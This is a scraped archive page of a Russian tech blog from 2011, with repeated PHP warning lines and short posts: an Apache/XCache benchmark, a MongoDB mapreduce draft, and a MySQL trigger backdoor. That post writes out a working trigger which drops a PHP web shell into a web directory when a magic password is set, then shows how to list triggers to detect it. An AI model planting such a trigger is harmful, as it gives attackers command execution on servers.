августа 29, 2011 | 2 комментария
Жизнь,
Реальность 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 29, 2011 | 2 комментария
ацкая штука:
delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END; |
delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
Срочно делайте:
SELECT * FROM information_schema.TRIGGERS |
SELECT * FROM information_schema.TRIGGERS
=)
подробнее http://raz0r.name/mysli/backdoor-in-trigger/
MySQL,
PHP,
Безопасность 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 26, 2011 | Комментариев нет
MongoDB,
Sphinx 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 26, 2011 | Комментариев нет
Apache,
nginx 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 26, 2011 | Комментариев нет
Уважаемые айтишники, собственно subj. Первый урожай собран, не теряем время =)
Жизнь 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 16, 2011 | Комментариев нет
Жесть =),
лулзы 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 12, 2011 | 1 Комментарий
Жесть =) 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 11, 2011 | 2 комментария
android 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 3, 2011 | Комментариев нет
Тестируем WordPress сайт утилитой ab:
ab -c 20 -n 200 http://lenta.iadlab.ru/ |
ab -c 20 -n 200 http://lenta.iadlab.ru/
Что эквивалентно 20 запросам в секунду. Общее число запросов 200. Перед Apache стоит nginx, который принимает запросы и проксирует на apache в очередь.
Принцип работы XCache: предварительно компилируем PHP файлы в объектный код и сохраняем в памяти. При выполнении запроса линкуем нужные файлы из памяти и выполняем запрос.
Результаты без XCache:
Concurrency Level: 20
Time taken for tests: 51.226 seconds
Complete requests: 200
Failed requests: 0
Write errors: 0
Total transferred: 10737600 bytes
HTML transferred: 10688600 bytes
Requests per second: 3.90 [#/sec] (mean)
Time per request: 5122.616 [ms] (mean)
Time per request: 256.131 [ms] (mean, across all concurrent requests)
Transfer rate: 204.70 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.1 0 1
Processing: 473 4935 1205.1 4900 10384
Waiting: 272 4544 1024.4 4588 9127
Total: 473 4935 1205.1 4900 10384 |
Concurrency Level: 20
Time taken for tests: 51.226 seconds
Complete requests: 200
Failed requests: 0
Write errors: 0
Total transferred: 10737600 bytes
HTML transferred: 10688600 bytes
Requests per second: 3.90 [#/sec] (mean)
Time per request: 5122.616 [ms] (mean)
Time per request: 256.131 [ms] (mean, across all concurrent requests)
Transfer rate: 204.70 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.1 0 1
Processing: 473 4935 1205.1 4900 10384
Waiting: 272 4544 1024.4 4588 9127
Total: 473 4935 1205.1 4900 10384
Результаты с XCache:
Concurrency Level: 20
Time taken for tests: 35.107 seconds
Complete requests: 200
Failed requests: 0
Write errors: 0
Total transferred: 10737600 bytes
HTML transferred: 10688600 bytes
Requests per second: 5.70 [#/sec] (mean)
Time per request: 3510.692 [ms] (mean)
Time per request: 175.535 [ms] (mean, across all concurrent requests)
Transfer rate: 298.69 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.6 0 3
Processing: 418 3366 791.7 3310 6196
Waiting: 324 3015 625.8 3056 4991
Total: 421 3366 791.4 3310 6196 |
Concurrency Level: 20
Time taken for tests: 35.107 seconds
Complete requests: 200
Failed requests: 0
Write errors: 0
Total transferred: 10737600 bytes
HTML transferred: 10688600 bytes
Requests per second: 5.70 [#/sec] (mean)
Time per request: 3510.692 [ms] (mean)
Time per request: 175.535 [ms] (mean, across all concurrent requests)
Transfer rate: 298.69 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.6 0 3
Processing: 418 3366 791.7 3310 6196
Waiting: 324 3015 625.8 3056 4991
Total: 421 3366 791.4 3310 6196
Вывод: время выполнения упало ~ вдвое.
Apache,
PHP,
XCache,
Тестирование 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31
августа 1, 2011 | Комментариев нет
Допустим у вас есть в коллекции групп массив операций которые входят в группу(также это может быть коллекция постов, в которую входит массив комментариев).

Задача: выдернуть операции, упорядочив их по id.

Черновик решения:
db.runCommand(
{ mapreduce: operations_groups,
map : function Map() {
this.operations.forEach
(
function(z)
{
emit( this.id , z);
}
);
}
reduce : function Reduce(key, values) {
return {values:values.sort()};
}
finalize : function Finalize(key, reduced) {
return reduced;
}
keeptemp : false
}); |
db.runCommand(
{ mapreduce: operations_groups,
map : function Map() {
this.operations.forEach
(
function(z)
{
emit( this.id , z);
}
);
}
reduce : function Reduce(key, values) {
return {values:values.sort()};
}
finalize : function Finalize(key, reduced) {
return reduced;
}
keeptemp : false
});
MongoDB,
NoSQL 
IAD
Warning: count(): Parameter must be an array or an object that implements Countable in
/var/www/html/wp-content/themes/amlet/archive.php on line
31